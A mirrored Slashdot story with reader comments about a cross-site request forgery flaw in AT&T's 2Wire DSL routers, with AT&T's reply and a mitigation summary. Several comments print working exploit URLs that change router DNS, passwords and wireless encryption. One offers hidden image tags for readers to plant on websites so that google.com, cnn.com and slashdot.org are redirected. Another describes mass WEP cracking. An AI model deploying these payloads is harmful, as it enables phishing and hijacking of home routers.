Slashdot Mirror

← Back to Stories (view on slashdot.org)

AT&T, 2Wire Ignoring Active Security Exploit [Updated]

Posted by kdawson on from the complicit-in-the-attacks dept.

An anonymous reader writes "2Wire manufactures DSL modems and routers for AT&T and other major carriers. Their devices suffer from a DNS redirection vulnerability that can be used as part of a variety of attacks, including phishing, identity theft, and denial of service. This exploit was publicly reported more than eight months ago and applies to nearly all 2Wire firmware revisions. The exploit itself is trivial to implement, requiring the attacker only to embed a specially crafted URL into a Web site or email. User interaction is not required, as the URL may be embedded as an image that loads automatically with the requested content. The 2Wire exploit bypasses any password set on the modem/router and is being actively exploited in the wild. AT&T has been deploying 2Wire DSL modems and router/gateways for years, so there exists a large vulnerable installed base. So far, AT&T/2Wire haven't done anything about this exploit." Update: 04/09 17:48 GMT by KD : AT&T spokesman Seth Bloom sends word that AT&T has not been ignoring the problem. According to Bloom: "The majority of our customers did not have gateways affected by this vulnerability. For those that did, as soon as we became aware of the issue, we expeditiously implemented a permanent solution to close the vulnerability. In fact, we've already updated the majority of affected 2Wire gateways, and we're nearing completion of the process. We've received no reports of any significant threats targeting our customers."

32 of 134 comments (clear)

  1. Anybody have any ideas... by Thelasko · · Score: 2, Funny

    on how to walk my mom through changing her IP scheme and modify the hosts file? Do I have to go over there?

    --
    One of our competitors trademarked the term "hypothesis". From now on, we will call them "boneheaded ideas".
    1. Re:Anybody have any ideas... by Anonymous Coward · · Score: 3, Funny

      Nah, I already got that for her.

    2. Re:Anybody have any ideas... by trongey · · Score: 5, Funny

      ...how to walk my mom through changing her IP scheme and modify the hosts file? Do I have to go over there? Oh, come on. Don't be so lazy. It won't kill you to walk up the stairs and across the living room.
      --
      You never really know how close to the edge you can go until you fall off.
    3. Re:Anybody have any ideas... by Anti_Climax · · Score: 2, Insightful

      Most of them have wireless, provided he's getting good coverage in the basement he could do it from there.

      --
      Even people that believe in pre-destiny look both ways before crossing the street.
  2. Funny Post by Anonymous Coward · · Score: 3, Funny

    Me Chinese
    Exploit SOCKS,
    Me put malware
    On your box!

    1. Re:Funny Post by bcat24 · · Score: 5, Informative

      That would be slightly funnier if the exploit actually involved SOCKS. In reality, it looks like a simple CSRF attack. (Is it just me, or are we seeing a lot more of those lately?)

  3. Re:Sasktel customers by bcat24 · · Score: 5, Informative
    From TFA:

    Vulnerable:
    2Wire 2071 Gateway 5.29.51
    2Wire 2071 Gateway 3.17.5
    2Wire 2071 Gateway 3.7.1
    2Wire 1800HW 5.29.51
    2Wire 1800HW 3.17.5
    2Wire 1800HW 3.7.1
    2Wire 1701HG 5.29.51
    2Wire 1701HG 3.17.5
    2Wire 1701HG 3.7.1
  4. Re:Sasktel customers by compro01 · · Score: 4, Informative

    yeah, but DSLreports is reporting that the 2700s and 2701s are vulnerable, so i'm not sure which is correct

    --
    upon the advice of my lawyer, i have no sig at this time
  5. Re:I'm just glad... by JeanBaptiste · · Score: 2, Funny

    my Hayes 300 laughs at you.

  6. Re:I'm just glad... by b4dc0d3r · · Score: 2, Funny

    My roommate laughs at you through a cloud of smoke signals.

  7. Exploit doesn't seem to work on my 2700HG-B by Anonymous Coward · · Score: 5, Informative
    I tried their example for adding example.com to DNS (here as not a live link; copy it paste it yourself at your own risk):

    http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.example.com&ADDR=127.0.0.1
    and all it did was leave me at the "enter system password" page. Yes, my router has a non-default system password. The system software release is 4.25.19.
    1. Re:Exploit doesn't seem to work on my 2700HG-B by skis · · Score: 5, Informative

      This exploit is CSRF (Cross-site request forgery). This means that you have to have an active authenticated session to your router in your browser. When you click the link and your browser is already authenticated, it will send your session cookie along with the HTTP request, and the web server in your router will know you are already authenticated, and execute the command you gave it.

      Try logging in to your router, open a new tab, and click on that link again and see if it works.

    2. Re:Exploit doesn't seem to work on my 2700HG-B by Clueless+Moron · · Score: 2, Interesting

      I'm sure that if I was already logged into my router, that link would work, because I know the 2wire uses cookie based authentication.

      But why on earth would I be logged into it??? Its status pages do not require a login, so the only reason to log in would be to change something, which happens maybe once a year. And the session times out after a few minutes.

      TFS (The Fine Summary) says "the 2Wire exploit bypasses any password set on the modem/router" which is blatantly false: apparently it works only if you happen to have logged into an admin page on the router within the past few minutes, which is remarkably unlikely.

      My guess is that the "exploit" is fundamentally relying on people not having changed the default router password. That way, the initial URL to set the password will work, and after that the router is pwn3d.

      Moral? Set your stupid default router password. Just like with any router.

    3. Re:Exploit doesn't seem to work on my 2700HG-B by Clueless+Moron · · Score: 2, Informative

      (replying to myself...)

      apparently it works only if you happen to have logged into an admin page on the router within the past few minutes, which is remarkably unlikely.

      Ok, I see the problem now: although just about every setup page imaginable on the router uses a session cookie to make sure you have logged in, the "set initial router password" page does not, and does not care if an initial password has already been set (stupid!).

      So the 'sploit is to first invoke the "set initial router password" page. It doesn't matter what it sets it to, because completing that page logs you in, and so your browser gets the session cookie and now all the other pages work. Such as the one that adds www.example.com to DNS.

      Nice. Fortunately my home system doesn't use the 2wire DNS at all.

  8. Re:I'm just glad... by Anonymous Coward · · Score: 3, Funny

    tell him to enjoy the blankets I sent

  9. I'm not suprised, given my experience with 2wire by krovisser · · Score: 4, Interesting

    One of the worst routers I have ever had. Besides resetting itself arbitrarily, it would forget it's own settings and revert to the default, or half of the settings would revert to the default and the other half.... ? Also, right before I threw it out my window, it forgot it was a wireless router completely. I mean, it reset itself one last time and quit broadcasting completely. Even the setup pages lost the wireless part. I could manually enter in the wireless setup URL, and it would show one with random values in each field.

    I'm just waiting for a nice cooler day to take it to the shooting range. The manual traps and some shotgun pellets might make up for all my anguish.

  10. Bridge Mode by John+Hasler · · Score: 4, Insightful

    Never trust these combination modem/router/firewalls. Put the thing in bridge mode and run a real router behind it (such as an old pc running Debian or OpenBSD or even an old Cisco).

    --
    Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    1. Re:Bridge Mode by roju · · Score: 2, Funny

      Perhaps if we're worried about security issues, administrating a local copy of BIND isn't the greatest plan.

  11. Re:I'm just glad... by value_added · · Score: 2, Interesting

    I still have my old Speedstream 5100b. :)

    I'm not sure I get the joke, but if it's funny, it might be even funnier that, IIRC, I have a model with a lower number. With the exception that it doesn't reset/resync after a power failure, I guess it works likes it's supposed to.

    On the other hand, I am concerned that should the little bugger fail, I'll have to purchase a newer model. Which means I'll end up with something with a metric ton of unwanted features.

    I know this isn't Ask Slashdot, but does anyone know whether it's possible to acquire, either through one's own DSL provider or elsewhere, a modem that's just a modem? Or is that just not possible these days? And maybe someone more knowledgable than the rest of us can comment on whether it's possible to "connect" to the thing in some way to read it's configuration.

  12. Large install base by Verteiron · · Score: 2, Interesting

    I can detect 4 of these routers from inside my house, all using the SSID 2WIRE. There must be tens of thousands of these things out there, the vast majority running the default, unsecured configuration...

    --
    End of lesson. You may press the button.
    1. Re:Large install base by Erpo · · Score: 4, Informative

      By default they come with 32 bit WEP

      You're closer to the truth than you know. They use 64 bit (i.e. 8 byte) WEP by default, which is really 40 bit (i.e. 5 byte) WEP since three of those bytes are the IV and broadcast in the clear. However, 2WIRE has an awful policy of printing the WEP key on the side of the modem in hex format and not using the digits A through F.

      So the default key, written in hex, is a "decimal" number somewhere between 0,000,000,000 and 9,999,999,999. That's only 10 billion possibilities, or about 33.2 bits of entropy. Your computer can crack through that in a day or two with only three or four captured packets.

      When I discovered this (and, of course, got stonewalled by 2WIRE), I wrote a patch for aircrack (now aircrack-ng) that programs it to search only the binary coded decimal keyspace. I named this option -t in honor of "Two Wire" for their terrible security.

  13. from the DSL reports forums by Some_Llama · · Score: 5, Informative

    You can implement a temporary fix yourself. The first post in the following thread describes how to protect yourself until 2wire fixes the issue 2Wire Cross Site Request Forgery Vulnerability .

    Here is a short summary:

    First, change the IP scheme that the 2wire is using for your home network. Specifically, change the IP address of the 2wire router itself. This will prevent attacks against 192.168.1.254.

    Next you have to prevent attacks against the domains "home" and "gateway.2wire.net". You can do this a couple of ways. You can modify your hosts file and point those domains to 127.0.0.1... or you can hardcode the dns settings into your computer so that your computer is not using the 2wire to resolve domain names.

    Of course the bottom line is 2wire needs to plug this hole. When will that happen? Who knows.

    1. Re:from the DSL reports forums by Some_Llama · · Score: 2, Interesting

      you don't need a script, just add this link to your webpage and force people to execute it on load:

      http://192.168.1.254/xslt?PAGE=A05_POST&THISPAGE=A05&NEXTPAGE=A05_POST&ENABLE_PASS=on&PASSWORD=NUEVOPASS&PASSWORD_CONF=NUEVOPASS

      you can change the commands to do a number of different actions (pretty much any configuration change on any page in the router)

      eg:

      Add names to the DNS:
      http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.example.com&ADDR=127.0.0.1

      Disable Wireless Authentication
      http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0

      Set Dynamic DNS
      http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE

      you can also change the 192.168.1.254 to say "home" or "gateway.2wire.net"

      eg:
      Set Dynamic DNS
      http://gateway.2wire.net/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE

  14. 2Wire routers also very weak on WEP by Jeffrey+Baker · · Score: 4, Interesting

    2Wire access points also come hard-coded for 56-bit WEP, which can be cracked in seconds. I have a list of hundreds of WEP keys I got just from riding my bicycle around San Francisco with a laptop chugging away in my backpack. These are by far the worst access points ever deployed, and they are, sadly, also the most widely deployed in the USA.

    1. Re:2Wire routers also very weak on WEP by Jeffrey+Baker · · Score: 3, Interesting

      Well, the 2Wire is the box the telco sends you when you order an ADSL line, so your average ignorant consumerbot has no reason to get anything else.

    2. Re:2Wire routers also very weak on WEP by compro01 · · Score: 2, Informative

      hmm. the 2wire boxes i see (2700s) are default WEP, but have the option for WPA and WPA2.

      --
      upon the advice of my lawyer, i have no sig at this time
  15. If you have a website, paste the following code by BlueUnderwear · · Score: 2, Interesting
    Thanks so much for that URL.

    If you want to join into the phun, put the following onto your website (or onto somebody else's website, if he happens to still use IIS):

    <img src="http://192.168.1.254/xslt?PAGE=H04_POST&amp;PASSWORD=admin&amp;PASSWORD_CONF=admin" width="1" height="1" alt="haha"/>
    <img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=google.com&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
    <img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=www.google.com&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
    <img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=cnn.com&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
    <img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=www.cnn.com&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
    <img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=slashdot.org&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
    <img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=www.slashdot.org&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>

    --
    Say no to software patents.
  16. Re:I'm just glad... by Kaenneth · · Score: 4, Funny

    Because 300 BPS modems were TOTALLY invulnerable to attacks...

    +++ATH0

  17. Re:I'm just glad... by macslas'hole · · Score: 2, Funny

    I use a Speedstream 5100 too but no bloody a b or c.

    --
    Life's a tale told by an idiot, full of sound and fury, signifying nothing.
  18. Re:of course they won't care?! by compro01 · · Score: 4, Funny

    We don't care. We don't have to. We're the Phone Company.

    --
    upon the advice of my lawyer, i have no sig at this time
  19. Re:OK, now we all know by eonlabs · · Score: 2, Insightful

    Easy, if they think it's no skin off their back for not updating their hardware, they think they can save money by not doing it. If they have 10,000 customers and it's $100 to replace one of their old modems, then it's a million bucks to swap them all out. If they don't think there's a risk of being held responsible for more than that for not changing their hardware, where is the incentive.

    Hell, the security flaws typically affect the customer. Will that stop most people's internet addictions?

    Here's another one... How many places does At&t hold a local monopoly? What other options doe people have, especially if they're dealing with constant (Video/Voice)oip? That stuff costs bandwidth and with more computers shipping with cameras and mics built in, more people are using it. A dialup line, and even a decent DSL can't really handle streaming video like that.

    --
    I wouldn't consider the mad hatter mad. Just reality impaired. He sure can make a mean cup of tea.
  20. Re:I'm just glad... by houstonbofh · · Score: 2, Interesting

    I got a brand new speedstream 4100 with my AT&T DSL connection 8 months ago. I just had to say at least 6 times, "Yes I really do want just a modem. No I do not want a 2wire. Yes I know what I am saying. Yes I know it is free with the rebate. No I still don't want it." I also had to lie and say I was using Windows just to get my DLS turned on. I guess it like for me to talk dirty...